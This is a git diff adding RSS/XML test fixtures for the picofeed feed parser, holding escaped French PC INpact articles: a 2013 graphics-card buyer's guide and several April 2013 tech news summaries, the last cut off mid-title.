+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;Annonc&amp;eacute;e &amp;agrave; &lt;a href="http://pdn.im/1dyvO8L" target="_blank"&gt;1159,99 euros&lt;/a&gt;, elle exploite un bo&amp;icirc;tier Sugo SG08B de Silverstone, un processeur Core i5 4670K, un ventilateur Zalman CNPS7000C-AlCu, une carte m&amp;egrave;re Asus H87I-Plus, et une GeForce GTX 770 sign&amp;eacute;e Gainward. Avec 8 Go de DDR3, un SSD de 120 Go et un disque dur de 1 To, il ne lui manquera plus que quelques accessoires (voir notre s&amp;eacute;lection) pour faire le bonheur des joueurs.&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p style="text-align: center;"&gt;&lt;a class="fancyimg" href="http://static.pcinpact.com/images/bd/news/141403.jpeg" rel="group_fancy"&gt;&lt;img src="http://static.pcinpact.com/images/bd/news/medium-141403.jpeg" alt="PC GeForce Experience Materiel.net Gamer" width="450" /&gt;&lt;/a&gt;&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;Notez que l'alimentation int&amp;eacute;gr&amp;eacute;e est un mod&amp;egrave;le de 600 watts certifi&amp;eacute;s 80Plus Bronze de chez Silverstone, et que trois jeux sont offerts avec l'ensemble, GTX 770 oblige :&amp;nbsp;Assassin Creed 4 Black Flag, Splinter Cell Blacklist et le dernier Batman. Une extension de garantie est aussi propos&amp;eacute;e &lt;a href="http://pdn.im/1dyvHKo" target="_blank"&gt;pour 99,99 euros de plus&lt;/a&gt;.&amp;nbsp;&lt;/p&gt;
+&lt;ul&gt;
+&lt;li&gt;Retrouver le le Mini PC GeForce Experience Premium chez &lt;a href="http://pdn.im/1dyvO8L" target="_blank"&gt;Materiel.net&lt;/a&gt;&lt;/li&gt;
+&lt;/ul&gt;&lt;p&gt;No&amp;euml;l, c'est aussi pour les revendeurs, les constructeurs et les op&amp;eacute;rateurs de t&amp;eacute;l&amp;eacute;phonie mobile le meilleur moment pour proposer de gros rabais, surtout avec l'arriv&amp;eacute;e du &lt;a href="http://www.pcinpact.com/bons-plans.htm?keywords=&amp;amp;typeBonPlan=9&amp;amp;sortByDate=false&amp;amp;sortByPopu=true&amp;amp;showFlashOnly=0" target="_blank"&gt;Black Friday&lt;/a&gt; et du &lt;a href="http://www.pcinpact.com/bons-plans.htm?keywords=&amp;amp;typeBonPlan=9&amp;amp;sortByDate=false&amp;amp;sortByPopu=true&amp;amp;showFlashOnly=0" target="_blank"&gt;Cyber Monday&lt;/a&gt;. Amazon ne s'y est d'ailleurs pas tromp&amp;eacute; et propose d&amp;eacute;j&amp;agrave; de nombreuses offres &amp;agrave; l'occasion de &lt;a href="http://pdn.im/1b2EkVP" target="_blank"&gt;sa Cyber Week&lt;/a&gt;. Quoi qu'il en soit, voici un r&amp;eacute;capitulatif de l'ensemble des offres qui ont &amp;eacute;t&amp;eacute; trouv&amp;eacute;es par notre fameuse&amp;nbsp;&amp;laquo; &lt;a href="https://twitter.com/tbp_pci" target="_blank"&gt;Team bons plans&lt;/a&gt; &amp;raquo;. Elle sera mise &amp;agrave; jour automatiquement :&lt;/p&gt;
+&lt;p&gt;&lt;iframe id="iframeRecapBp" style="display: block; border-top-left-radius: 5px; border-top-right-radius: 5px; border-bottom-right-radius: 5px; border-bottom-left-radius: 5px; margin: 10px auto; border: none; overflow: visible; height: 3660px;" src="/bonplan/recapBp" width="640px" height="150" frameborder="0" marginwidth="0" marginheight="0" scrolling="no"&gt; &lt;/iframe&gt;&lt;/p&gt;&lt;p&gt;Si NVIDIA a mis &amp;agrave; jour sa gamme de produits tout au long de l'ann&amp;eacute;e avec l'arriv&amp;eacute;e de la g&amp;eacute;n&amp;eacute;ration GTX 700, on ne peut pas dire que la marque ait r&amp;eacute;volutionn&amp;eacute; le genre. Comme chez AMD, ce sont des puces d&amp;eacute;j&amp;agrave; connues qui constituent l'ensemble de la gamme, mais avec tout de m&amp;ecirc;me un effort fait au niveau de la gestion de la ventilation, pour la rendre plus int&amp;eacute;ressant au niveau du silence des produits propos&amp;eacute;s, m&amp;ecirc;me ceux de r&amp;eacute;f&amp;eacute;rence.&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;Notez que la marque a surtout annonc&amp;eacute; deux changements importants il y a quelques semaines : &lt;a href="http://www.pcinpact.com/news/84150-nvidia-baisse-ses-prix-et-annonce-780-ti-pour-7-novembre-a-699.htm" target="_blank"&gt;une baisse de prix&lt;/a&gt; juste &amp;agrave; temps pour les f&amp;ecirc;tes, et l'arriv&amp;eacute;e d'&lt;a href="http://www.pcinpact.com/news/83989-nvidia-annonce-bundle-avec-trois-jeux-offerts.htm" target="_blank"&gt;un bundle proposant deux ou trois jeux offerts&lt;/a&gt; avec une majorit&amp;eacute; de ses r&amp;eacute;f&amp;eacute;rences. Attention tout de m&amp;ecirc;me aux mod&amp;egrave;les choisis au moment de votre achat l&amp;agrave; encore. Les adeptes du screencast appr&amp;eacute;cieront aussi sans doute la pr&amp;eacute;sence de ShadowPlay qui vous permet d'enregistrer une partie avec assez peu d'incidence sur les performances de votre machine (voir &lt;a href="http://www.pcinpact.com/news/84146-nvidia-devoile-ses-armes-fin-dannee-et-son-outil-capture-shadowplay.htm" target="_blank"&gt;notre analyse&lt;/a&gt;).&amp;nbsp;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p style="text-align: center;"&gt;&lt;a class="fancyimg" href="http://static.pcinpact.com/images/bd/news/140310.png" rel="group_fancy"&gt;&lt;img src="http://static.pcinpact.com/images/bd/news/140310.png" alt="NVIDIA ShadowPlay" width="450" height="197" /&gt;&lt;/a&gt;&lt;/p&gt;
+&lt;h3&gt;ASUS GT 640 Direct CU Silent : une carte passive pour les amateurs de silence&lt;/h3&gt;
+&lt;p&gt;Comme du c&amp;ocirc;t&amp;eacute; d'AMD, des cartes graphiques passives sont disponibles chez NVIDIA. Bien &amp;eacute;videmment, cela ne concerne pas les derniers GPU en date et il ne faudra pas s'attendre &amp;agrave; des performances exceptionnelles dans les jeux avec un mod&amp;egrave;le tel que la GeForce GT 640 tel que celui-ci chez ASUS :&lt;/p&gt;
+&lt;p&gt;[PDN]762127[/PDN]&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;Attention, la carte occupe deux emplacements et ses caloducs d&amp;eacute;passent un peu sur le dessus, v&amp;eacute;rifiez donc bien la compatibilit&amp;eacute; avec votre bo&amp;icirc;tier si celui-ci est compact. La connectique est plut&amp;ocirc;t bien fournie avec deux DVI, un VGA et un HDMI, ce qui vous laissera le choix.&amp;nbsp;&lt;/p&gt;
+&lt;h3&gt;GTX 760 Twin Frozr OC de chez MSI : une carte &amp;agrave; 200 &amp;euro; avec deux jeux en bundle&lt;/h3&gt;
+&lt;p&gt;Passons ensuite &amp;agrave; un GPU plus r&amp;eacute;cent avec la GeForce GTX 760 Twin Frozr de chez MSI. Elle est l&amp;eacute;g&amp;egrave;rement overclock&amp;eacute;e puisqu'on passe de 980 MHz recommand&amp;eacute; par NVIDIA &amp;agrave; 1 085 MHz. Pas de changement pour la m&amp;eacute;moire vive qui reste, elle, &amp;agrave; 1500 MHz.&lt;/p&gt;
+&lt;p&gt;[PDN]798062[/PDN]&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;Notez que NVIDIA propose deux jeux offerts avec une telle r&amp;eacute;f&amp;eacute;rence : Splinter Cell Blacklist et&amp;nbsp;Assassin's Creed 4 Black Flag, ce qui pourrait int&amp;eacute;resser certain. Attention n&amp;eacute;anmoins &amp;agrave; vous assurer que votre revendeur participe &amp;agrave; cette offre si elle vous int&amp;eacute;resse.&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;h3&gt;GeForce GTX 760 Mini DirectCU II d'Asus : compacte et performante&lt;/h3&gt;
+&lt;p&gt;Si vous avez un bo&amp;icirc;tier compact qui n'accepte pas les cartes graphiques de plus de 20 cm, ce mod&amp;egrave;le Mini de chez ASUS peut vous int&amp;eacute;resser. En effet, le ventirad est ici adapt&amp;eacute; &amp;agrave; la taille du PCB compact de cette g&amp;eacute;n&amp;eacute;ration et l'ensemble ne mesure que 17 cm de long :&lt;/p&gt;
+&lt;p&gt;[PDN]811290[/PDN]&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;Un l&amp;eacute;ger overclocking est de la partie (1072 MHz pour le GPU), et vous aurez l&amp;agrave; aussi droit &amp;agrave; deux jeux offerts&amp;nbsp;: Splinter Cell Blacklist et&amp;nbsp;Assassin's Creed 4 Black Flag. Attention n&amp;eacute;anmoins &amp;agrave; vous assurer que votre revendeur participe &amp;agrave; cette offre si elle vous int&amp;eacute;resse.&lt;/p&gt;
+&lt;h3&gt;Gigabyte GV-N770OC-2GD : une GTX 770 et WindForce 3X &amp;agrave; moins de 300 &amp;euro;&lt;/h3&gt;
+&lt;p&gt;On passe ensuite &amp;agrave; la GeForce GTX 770 qui offrira des performances sup&amp;eacute;rieures pour moins de 100 &amp;euro; de plus que ses petites s&amp;oelig;urs. Ici, nous avons opt&amp;eacute; pour un mod&amp;egrave;le Gigabyte qui est propos&amp;eacute; avec le ventirad WindForce 3X de la marque qui embarque trois ventilateurs comme son nom l'indique, et une grosse dose de caloducs en cuivre :&lt;/p&gt;
+&lt;p&gt;[PDN]793142[/PDN]&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;Cette fois, ce sont trois jeux qui pourront &amp;ecirc;tre propos&amp;eacute;s dans le bundle malgr&amp;eacute; un tarif souvent sous la barre des 300 &amp;euro; : Batman Arkham Origins,&amp;nbsp;Splinter Cell Blacklist et&amp;nbsp;Assassin's Creed 4 Black Flag.&lt;/p&gt;
+&lt;h3&gt;GeForce GTX ACX SuperClocked : la petite bombe d'EVGA&lt;/h3&gt;
+&lt;p&gt;Pour ceux qui ne veulent pas se limiter en terme de qualit&amp;eacute; d'image ou de d&amp;eacute;finition dans les jeux tout en restant sous la barre des 500 &amp;euro;, il existe la GeForce GTX 780. Le mod&amp;egrave;le de r&amp;eacute;f&amp;eacute;rence est en g&amp;eacute;n&amp;eacute;ral propos&amp;eacute; pour assez cher et n'est plus tr&amp;egrave;s disponible, mais aura l'avantage d'utiliser le ventirad de NVIDIA, comme &lt;a href="http://www.prixdunet.com/tracker.html?id=1290349408" target="_blank"&gt;ce mod&amp;egrave;le de Gainward&lt;/a&gt; par exemple. Sinon des mod&amp;egrave;les overclock&amp;eacute;s et modifi&amp;eacute;s sont plut&amp;ocirc;t bons dans leur genre, comme la Superclocked ACX d'EVGA :&lt;/p&gt;
+&lt;p&gt;[PDN]795060[/PDN]&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;L&amp;agrave; encore, trois jeux seront offerts&amp;nbsp;: Batman Arkham Origins,&amp;nbsp;Splinter Cell Blacklist et&amp;nbsp;Assassin's Creed 4 Black Flag. Si jamais vous avez 100 &amp;euro; de plus en poche, n'h&amp;eacute;sitez pas &amp;agrave; vous tourner du c&amp;ocirc;t&amp;eacute; de &lt;a href="http://www.prixdunet.com/carte-graphique/?478=geforce-gtx-780-ti&amp;amp;order=price_asc" target="_blank"&gt;la GeForce GTX 780 Ti&lt;/a&gt;, qui ira plus loin en terme de performances mais pour un tarif qui oscille entre 600 et 700 &amp;euro;... tout de m&amp;ecirc;me.&lt;/p&gt;&lt;p&gt;Avec la rentr&amp;eacute;e, toute la gamme des Radeon d'AMD a &amp;eacute;t&amp;eacute; chamboul&amp;eacute;e. Mais ne vous y trompez pas, il &amp;eacute;tait plut&amp;ocirc;t question d'un changement de nom pour la majorit&amp;eacute; des produits qu'autre chose. En effet, trois r&amp;eacute;f&amp;eacute;rences sortent du lot : les Radeon R7 260X qui ne sont que des HD 7790 renomm&amp;eacute;es, mais avec &lt;a href="http://www.pcinpact.com/recherche?_search=TrueAudio" target="_blank"&gt;TrueAudio&lt;/a&gt;&amp;nbsp;d'activ&amp;eacute;. Les Radeon R9 290 et 290X sont par contre de r&amp;eacute;elles nouveaut&amp;eacute;s.&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;Votre choix devra sans doute d&amp;eacute;pendre d'un crit&amp;egrave;re qui ne regarde que vous : votre go&amp;ucirc;t en termes de jeux offerts. Avec les Radeon HD 7000 et la R7 260X, le programme&amp;nbsp;&lt;a href="http://www.pcinpact.com/news/81730-never-settle-forever-amd-vous-offre-jusqua-3-jeux-et-vous-laisse-choix.htm" target="_blank"&gt;Never Settle Forever&lt;/a&gt;&amp;nbsp;vous permet d'obtenir entre 1 et 3 titres au choix, alors que les autres R7 et R9&lt;a href="http://www.pcinpact.com/news/84346-amd-battlefield-4-offert-avec-radeon-r9-270-officialisee.htm" target="_blank"&gt;&amp;nbsp;vous permettront d'obtenir Battlefield 4&lt;/a&gt;. Dans ce dernier cas, attention, car seuls quelques produits sont concern&amp;eacute;s, il faudra faire attention au moment de votre achat.&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p style="text-align: center;"&gt;&lt;a class="fancyimg" href="http://static.pcinpact.com/images/bd/news/137097.jpeg" rel="group_fancy"&gt;&lt;img src="http://static.pcinpact.com/images/bd/news/medium-137097.jpeg" alt="AMD Never Settle Forever" /&gt;&lt;/a&gt;&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;Notez aussi que si vous aimez le silence, les R9 290X et 290 sont sans doute &amp;agrave; &amp;eacute;viter, tant elles sont pour le moment critiqu&amp;eacute;es sur ce point. D'ici la fin de l'ann&amp;eacute;e, des partenaires d'AMD devraient commencer &amp;agrave; communiquer un peu plus sur leurs mod&amp;egrave;les maison, au niveau du PCB et du ventirad, il sera alors sans doute plus sage de les attendre pour craquer en janvier.&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;Notez que dans tous les cas, vous finirez souvent avec une carte Sapphire si vous misez surtout sur le prix, tant la marque est imbattable sur ce terrain pour ce qui est des produits AMD. La concurrence tentera pour sa part de se d&amp;eacute;marquer avec des ventirads diff&amp;eacute;rents, mais pas s&amp;ucirc;r que cela suffise toujours.&lt;/p&gt;
+&lt;h3&gt;Radeon HD 7750 HIS iSilence 5 passive : pour les amateurs de silence&lt;/h3&gt;
+&lt;p&gt;Le ph&amp;eacute;nom&amp;egrave;ne des cartes graphiques &amp;agrave; syst&amp;egrave;me de refroidissement passif n'est pas mort, comme le prouve ce mod&amp;egrave;le&amp;nbsp;&amp;laquo; iSilence 5 &amp;raquo; de chez HIS. En effet, celui-ci permet de disposer de performances correctes pour ceux qui ne jouent pas &amp;agrave; des jeux de derni&amp;egrave;re g&amp;eacute;n&amp;eacute;ration, tout en assurant un silence complet. Attention tout de m&amp;ecirc;me &amp;agrave; bien disposer d'un syst&amp;egrave;me de refroidissement suffisant au sein de la machine.&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p style="text-align: center;"&gt;&lt;a href="http://static.pcinpact.com/images/bd/news/141765.jpeg" rel="group_fancy"&gt;&lt;img src="http://static.pcinpact.com/images/bd/news/medium-141765.jpeg" alt="Radeon HD 7750 iSilence 5" width="300" /&gt;&lt;/a&gt;&lt;/p&gt;
+&lt;ul&gt;
+&lt;li&gt;Retrouver la HIS 7750 iSilence 5 1 Go&amp;nbsp;&lt;a href="http://pdn.im/1ceFbUl" target="_blank"&gt;chez LDLC &amp;agrave; moins de 90 &amp;euro;&lt;/a&gt;&lt;/li&gt;
+&lt;/ul&gt;
+&lt;h3&gt;Radeon HD 7870 Dual-X OC : &amp;agrave; peine plus de 100 &amp;euro; pour une carte pour joueurs&lt;/h3&gt;
+&lt;p&gt;La Radeon HD 7870 Dual-X OC de chez Sapphire est un mod&amp;egrave;le plut&amp;ocirc;t int&amp;eacute;ressant est actuellement disponible &amp;agrave; un prix tr&amp;egrave;s int&amp;eacute;ressant : moins de 125 &amp;euro;, mais sans aucun jeu. Elle dispose d'un GPU cadenc&amp;eacute; &amp;agrave; 1050 MHz contre 2500 MHz pour la m&amp;eacute;moire vive.&amp;nbsp;Le syst&amp;egrave;me de refroidissement maison comprend deux ventilateurs.&amp;nbsp;Notez qu'une version non overclock&amp;eacute;e est &amp;eacute;galement disponible, mais pour une diff&amp;eacute;rence de 5 &amp;euro; autant prendre cette version.&lt;/p&gt;
+&lt;p&gt;[PDN]706915[/PDN]&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;Dans tous les cas, attention au taux de SAV important sur cette g&amp;eacute;n&amp;eacute;ration de carte &lt;a href="http://www.hardware.fr/articles/911-5/cartes-graphiques.html" target="_blank"&gt;selon nos confr&amp;egrave;res de Hardware.fr&lt;/a&gt;. Si vous souhaitez plut&amp;ocirc;t vous orienter vers un mod&amp;egrave;le plus r&amp;eacute;cent, sachez que la R9 270X est disponible pour&amp;nbsp;&lt;a href="http://www.prixdunet.com/carte-graphique/sapphire-radeon-r9-270x-dual-x-oc-2go-815486.html" target="_blank"&gt;environ 170 &amp;euro;&lt;/a&gt;&amp;nbsp;tout de m&amp;ecirc;me, pour des performances assez similaires. Certaines r&amp;eacute;f&amp;eacute;rences disposent en plus de Battlefield 4 dans leur bundle, parfois pour le m&amp;ecirc;me prix. Comme cette carte Sapphire :&lt;/p&gt;
+&lt;ul&gt;
+&lt;li&gt;Radeon R9 270X Battlefield 4 Edition :&amp;nbsp;&lt;a href="http://pdn.im/1c1mg4A" target="_blank"&gt;164,13 &amp;euro;&lt;/a&gt;&lt;/li&gt;
+&lt;/ul&gt;
+&lt;h3&gt;Sapphire R9 280X : moins de 230 &amp;euro; sans Battlefield 4, 260 &amp;euro; avec&lt;/h3&gt;
+&lt;p&gt;On grimpe d'un cran avec la R9 280X, l&amp;agrave; encore de chez Sapphire. Elle dispose du syst&amp;egrave;me de refroidissement Dual-X du fabricant (deux ventilateurs) ainsi que d'un l&amp;eacute;ger overclocking puisqu'il est question de 1020 MHz via le mode turbo.&lt;/p&gt;
+&lt;p&gt;[PDN]815492[/PDN]&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;Comme pour la R9 270X, des versions avec Battlefield 4 sont de la partie, mais il faudra alors ajouter une trentaine d'euros, ce qui reste de toute fa&amp;ccedil;on moins cher que le jeu s&amp;eacute;par&amp;eacute;ment. LDLC propose la carte en stock pour moins de 260 &amp;euro; :&lt;/p&gt;
+&lt;ul&gt;
+&lt;li&gt;Radeon R9 280X Battlefield 4 Edition chez LDLC :&amp;nbsp;&lt;a href="http://pdn.im/18GHSNJ" target="_blank"&gt;259,95 &amp;euro;&lt;/a&gt;&lt;/li&gt;
+&lt;/ul&gt;
+&lt;h3&gt;Radeon R9 290 : un go&amp;ucirc;t de Tahiti pour plus de 330 &amp;euro;, l&amp;agrave; encore avec BF4&lt;/h3&gt;
+&lt;p&gt;Terminons enfin avec une R9 290, toujours de chez AMD. Cette fois-ci, nous avons simplement pris la carte la moins ch&amp;egrave;re puisqu'il ne s'agit ici que de clone, les versions personnalis&amp;eacute;es arrivant plus tard. Comme souvent, chez Sapphire qui est le mieux plac&amp;eacute; avec 332 &amp;euro; comme prix d'appel, l&amp;agrave; encore avec Battlefield 4.&lt;/p&gt;
+&lt;p&gt;[PDN]826464[/PDN]&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;Nous n'avons volontairement pas s&amp;eacute;lectionn&amp;eacute; de R9 290X, celles-ci &amp;eacute;tant vendu pr&amp;egrave;s &amp;agrave; partir de 450 &amp;euro; pour des performances seulement tr&amp;egrave;s l&amp;eacute;g&amp;egrave;rement sup&amp;eacute;rieures et une nuisance sonore trop importante. Si c'est la performance qui vous int&amp;eacute;resse, le mieux sera sans doute d'overclocker le mod&amp;egrave;le ci-dessus.&lt;/p&gt;</description><pubDate>Fri, 13 Dec 2013 18:30:00 Z</pubDate></item></channel></rss> \ No newline at end of file
diff --git a/vendor/fguillot/picofeed/tests/fixtures/pcinpact.xml b/vendor/fguillot/picofeed/tests/fixtures/pcinpact.xml
new file mode 100644
index 000000000..700db2825
--- /dev/null
+++ b/vendor/fguillot/picofeed/tests/fixtures/pcinpact.xml
@@ -0,0 +1 @@
+<?xml version="1.0" encoding="utf-8"?><rss xmlns:a10="http://www.w3.org/2005/Atom" version="2.0"><channel><title>PC INpact</title><link>http://www.pcinpact.com/</link><description>Actualités Informatique</description><lastBuildDate>Sun, 07 Apr 2013 15:39:57 Z</lastBuildDate><a10:id>http://www.pcinpact.com</a10:id><item><guid isPermaLink="false">78872</guid><link>http://www.pcinpact.com/breve/78872-la-dcri-purge-wikipedia-par-menace-bel-effet-streisand-a-cle.htm?utm_source=PCi_RSS_Feed&amp;utm_medium=news&amp;utm_campaign=pcinpact</link><title>La DCRI purge Wikipedia par la menace, un bel effet Streisand à la clé</title><description>Le 4 mars, la Direction centrale du renseignement int&amp;eacute;rieur (ou DCRI) a r&amp;eacute;clam&amp;eacute; d&amp;rsquo;urgence la suppression d&amp;rsquo;une entr&amp;eacute;e de Wikipedia francophone visant une installation militaire fran&amp;ccedil;aise. Probl&amp;egrave;me, ces informations sont disponibles depuis des lustres sur l&amp;rsquo;encyclop&amp;eacute;die libre. Surtout, priv&amp;eacute;e d&amp;rsquo;explication, la Wikimedia Foundation ne voit pas en quoi ces renseignements sont couverts par le secret de la d&amp;eacute;fense nationale. La DCRI a cependant fait pression &amp;agrave; coup de menaces et d&amp;rsquo;intimidations pour r&amp;eacute;colter&amp;hellip; un bel effet Streisand.</description><a10:updated>2013-04-06T23:11:00Z</a10:updated><image>http://static.pcinpact.com/images/bd/dedicated/78872?a7c3fcd24befdac2c143e25865b0c18c</image></item><item><guid isPermaLink="false">78865</guid><link>http://www.pcinpact.com/breve/78865-424eme-edition-lidd-liens-idiots-du-dimanche.htm?utm_source=PCi_RSS_Feed&amp;utm_medium=news&amp;utm_campaign=pcinpact</link><title>424ème édition des LIDD : Liens Idiots Du Dimanche</title><description>Comme tous les dimanches, voici notre s&amp;eacute;lection des liens les plus insolites de ces derniers jours.</description><a10:updated>2013-04-06T22:00:00Z</a10:updated><image>http://static.pcinpact.com/images/bd/dedicated/78865?a7c3fcd24befdac2c143e25865b0c18c</image></item><item><guid isPermaLink="false">78831</guid><link>http://www.pcinpact.com/breve/78831-la-terre-vue-espace-nasa-publie-retrospective-annee-2012.htm?utm_source=PCi_RSS_Feed&amp;utm_medium=news&amp;utm_campaign=pcinpact</link><title>La Terre vue de l'espace : la NASA publie une rétrospective de l'année 2012</title><description>La NASA a r&amp;eacute;cemment mis en ligne une r&amp;eacute;trospective 2012 des plus belles images de notre plan&amp;egrave;te Terre vue du ciel. Cela comprend aussi bien des vid&amp;eacute;os enregistr&amp;eacute;es depuis la station spatiale internationale que des simulations informatiques.</description><a10:updated>2013-04-06T11:37:00Z</a10:updated><image>http://static.pcinpact.com/images/bd/dedicated/78831?a7c3fcd24befdac2c143e25865b0c18c</image></item><item><guid isPermaLink="false">78866</guid><link>http://www.pcinpact.com/breve/78866-quatro-postiers-beta-testeurs-offre-quadruple-play-la-poste-mobile.htm?utm_source=PCi_RSS_Feed&amp;utm_medium=news&amp;utm_campaign=pcinpact</link><title>Quatro : les postiers bêta testeurs de l'offre quadruple play de La Poste Mobile</title><description>Exclusif PC INpact :&amp;nbsp;La Poste Mobile est en train de pr&amp;eacute;parer le lancement de son offre quadruple play Quatro. En effet, la soci&amp;eacute;t&amp;eacute; donne le coup d'envoi de la premi&amp;egrave;re phase sous forme d'une b&amp;ecirc;ta uniquement r&amp;eacute;serv&amp;eacute;e &amp;agrave; certains de ses employ&amp;eacute;s. L'ouverture au grand public pourrait intervenir d'ici quelques mois.</description><a10:updated>2013-04-06T08:30:00Z</a10:updated><image>http://static.pcinpact.com/images/bd/dedicated/78866?a7c3fcd24befdac2c143e25865b0c18c</image></item><item><guid isPermaLink="false">78863</guid><link>http://www.pcinpact.com/breve/78863-le-service-streaming-audio-dapple-pourrait-etre-disponible-en-france.htm?utm_source=PCi_RSS_Feed&amp;utm_medium=news&amp;utm_campaign=pcinpact</link><title>Le service de streaming audio d'Apple pourrait être disponible en France</title><description>Outre Google et Amazon, Apple pourrait aussi lancer d'ici peu un service de streaming audio, concurren&amp;ccedil;ant ainsi directement Deezer, Spotify, Grooveshark, Rdio, Pandora, etc. Selon CNET, le projet de la Pomme avancerait assez rapidement, avec d&amp;eacute;j&amp;agrave; deux majors du march&amp;eacute; en voie d'&amp;ecirc;tre sign&amp;eacute;es, en vue d'une sortie cet &amp;eacute;t&amp;eacute;. Et le service ne sera pas disponible qu'aux USA, mais aussi en France croit savoir notre confr&amp;egrave;re.</description><a10:updated>2013-04-06T08:15:00Z</a10:updated><image>http://static.pcinpact.com/images/bd/dedicated/78863?a7c3fcd24befdac2c143e25865b0c18c</image></item><item><guid isPermaLink="false">78868</guid><link>http://www.pcinpact.com/breve/78868-htc-first-facebook-home-sera-desactivable.htm?utm_source=PCi_RSS_Feed&amp;utm_medium=news&amp;utm_campaign=pcinpact</link><title>HTC First : Facebook Home sera désactivable</title><description>Avec l&amp;rsquo;annonce de Facebook Home et du First de HTC un peu plus t&amp;ocirc;t cette semaine, certains d&amp;rsquo;entre vous se demandaient si cette interface utilisateur serait imp&amp;eacute;rative ou pas. Le r&amp;eacute;seau social indique dans une session de questions et r&amp;eacute;ponses qu&amp;rsquo;il sera possible de la d&amp;eacute;sactiver sur un smartphone qui en sera &amp;eacute;quip&amp;eacute; nativement.</description><a10:updated>2013-04-06T08:00:00Z</a10:updated><image>http://static.pcinpact.com/images/bd/dedicated/78868?a7c3fcd24befdac2c143e25865b0c18c</image></item><item><guid isPermaLink="false">78840</guid><link>http://www.pcinpact.com/breve/78840-edito-le-jeu-video-made-in-france-a-t-il-encore-avenir.htm?utm_source=PCi_RSS_Feed&amp;utm_medium=news&amp;utm_campaign=pcinpact</link><title>[Édito] Le jeu vidéo « made in France » a-t-il encore un avenir ?</title><description>Le gouvernement s'est enfin int&amp;eacute;ress&amp;eacute; au secteur du jeu vid&amp;eacute;o fran&amp;ccedil;ais a-t-on appris cette semaine. Si nous ne pouvons pr&amp;eacute;sager des cons&amp;eacute;quences futures de cet int&amp;eacute;r&amp;ecirc;t, nous pouvons toutefois nous demander s'il n'est pas d&amp;eacute;j&amp;agrave; trop tard.</description><a10:updated>2013-04-06T07:09:00Z</a10:updated><image>http://static.pcinpact.com/images/bd/dedicated/78840?a7c3fcd24befdac2c143e25865b0c18c</image></item><item><guid isPermaLink="false">78864</guid><link>http://www.pcinpact.com/breve/78864-le-recap-tests-sequiper-pour-jouer-differemment.htm?utm_source=PCi_RSS_Feed&amp;utm_medium=news&amp;utm_campaign=pcinpact</link><title>Le recap' des tests : s'équiper pour jouer différemment</title><description>Le r&amp;eacute;capitulatif des tests du jour s'int&amp;eacute;resse aux diverses nouvelles fa&amp;ccedil;ons que nous avons de profiter des jeux vid&amp;eacute;o. En effet, entre les tablettes d&amp;eacute;di&amp;eacute;es aux jeux, les consoles de salon sous Android, les PC portables et des cartes graphiques de plus en plus performantes, les options que nous avons pour passer le temps avec un bon jeu n'ont jamais &amp;eacute;t&amp;eacute; aussi nombreuses.</description><a10:updated>2013-04-05T22:01:00Z</a10:updated><image>http://static.pcinpact.com/images/bd/dedicated/78864?a7c3fcd24befdac2c143e25865b0c18c</image></item><item><guid isPermaLink="false">77946</guid><link>http://www.pcinpact.com/breve/77946-blackberry-z10-mise-a-jour-ameliore-autonomie-et-performances.htm?utm_source=PCi_RSS_Feed&amp;utm_medium=news&amp;utm_campaign=pcinpact</link><title>[MàJ] BlackBerry Z10 : la mise à jour 10.0.10.99 déployée en France</title><description>Alors qu'une premi&amp;egrave;re mise &amp;agrave; jour mineure du BlackBerry Z10 avait &amp;eacute;t&amp;eacute; pouss&amp;eacute;e discr&amp;egrave;tement il y a quelques jours, une seconde vient d'&amp;ecirc;tre &amp;eacute;voqu&amp;eacute;e publiquement sur le blog du constructeur. Cette fois, les d&amp;eacute;tails sont donn&amp;eacute;s et il est question de l'am&amp;eacute;lioration des performances et de l'autonomie... entre autres.</description><a10:updated>2013-04-05T19:45:00Z</a10:updated><image>http://static.pcinpact.com/images/bd/dedicated/77946?a7c3fcd24befdac2c143e25865b0c18c</image></item><item><guid isPermaLink="false">78856</guid><link>http://www.pcinpact.com/breve/78856-le-firmware-070h-pour-eviter-blocage-ssd-m4-chez-crucia.htm?utm_source=PCi_RSS_Feed&amp;utm_medium=news&amp;utm_campaign=pcinpact</link><title>[Brève] Le firmware 070H pour éviter le blocage du SSD m4 chez Crucial</title><description>Crucial vient de mettre en ligne un nouveau firmware 070H pour ses SSD de la s&amp;eacute;rie m4. Il n'est pas question d'augmentation des performances, mais simplement de la correction d'un bug. Le constructeur recommande n&amp;eacute;anmoins &amp;agrave; tous ses clients de se mettre &amp;agrave; jour.</description><a10:updated>2013-04-05T16:30:00Z</a10:updated><image>http://static.pcinpact.com/images/bd/dedicated/78856?a7c3fcd24befdac2c143e25865b0c18c</image></item><item><guid isPermaLink="false">78862</guid><link>http://www.pcinpact.com/breve/78862-sondage-quelle-est-diagonale-decran-ideale-pour-tablette-tactile.htm?utm_source=PCi_RSS_Feed&amp;utm_medium=news&amp;utm_campaign=pcinpact</link><title>[Sondage] Quelle est 